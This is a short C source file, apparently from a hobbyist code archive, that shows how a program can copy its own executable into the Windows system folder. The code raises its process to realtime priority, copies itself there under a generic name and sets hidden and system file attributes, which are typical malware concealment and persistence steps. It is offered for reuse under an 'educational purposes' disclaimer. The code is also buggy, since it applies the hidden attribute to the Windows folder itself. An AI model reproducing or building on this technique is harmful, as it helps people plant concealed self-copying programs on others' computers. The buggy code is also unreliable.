./c0de/c/cloner.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
/* 
How to clone your application into the Windows folder!
 
Author: K1u
Site: k0h.org & k1u.org
Disclaimer: I am not responsible for how you use this.
This is purely for educational purposes.
BTW: If you wish to use this in your application give me a shout.
 
*/
 
#include "stdafx.h"
#include <windows.h>
#include <shlobj.h>
 
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
 
int main(void)
 
{
    /* Windows Folder Path. */
    TCHAR winFP[MAX_PATH];
 
 
    /* Process filename. */
    TCHAR szPath[MAX_PATH];
 
    /* Raise priority to realtime. */
 
    SetPriorityClass(GetCurrentProcess(),
                     REALTIME_PRIORITY_CLASS);
 
 
    /* Grab filename of process. */
    GetModuleFileName(NULL,
 
                      szPath,
                      MAX_PATH);
 
    /* Grab path of Windows folder. */
 
    SHGetFolderPath(NULL, 
                    CSIDL_WINDOWS|CSIDL_FLAG_CREATE, 
                    NULL, 
 
                    0,
                    winFP);
 
    /* Set as hidden file. */
 
    SetFileAttributes(winFP,
                      FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
 
    /* Add the filename. */                
 
    PathAppend(winFP,
               TEXT("\\nameme.exe"));
 
 
    /* Copy it already!!! */
    CopyFile(szPath, winFP, 0);
 
    return 0;
}

Back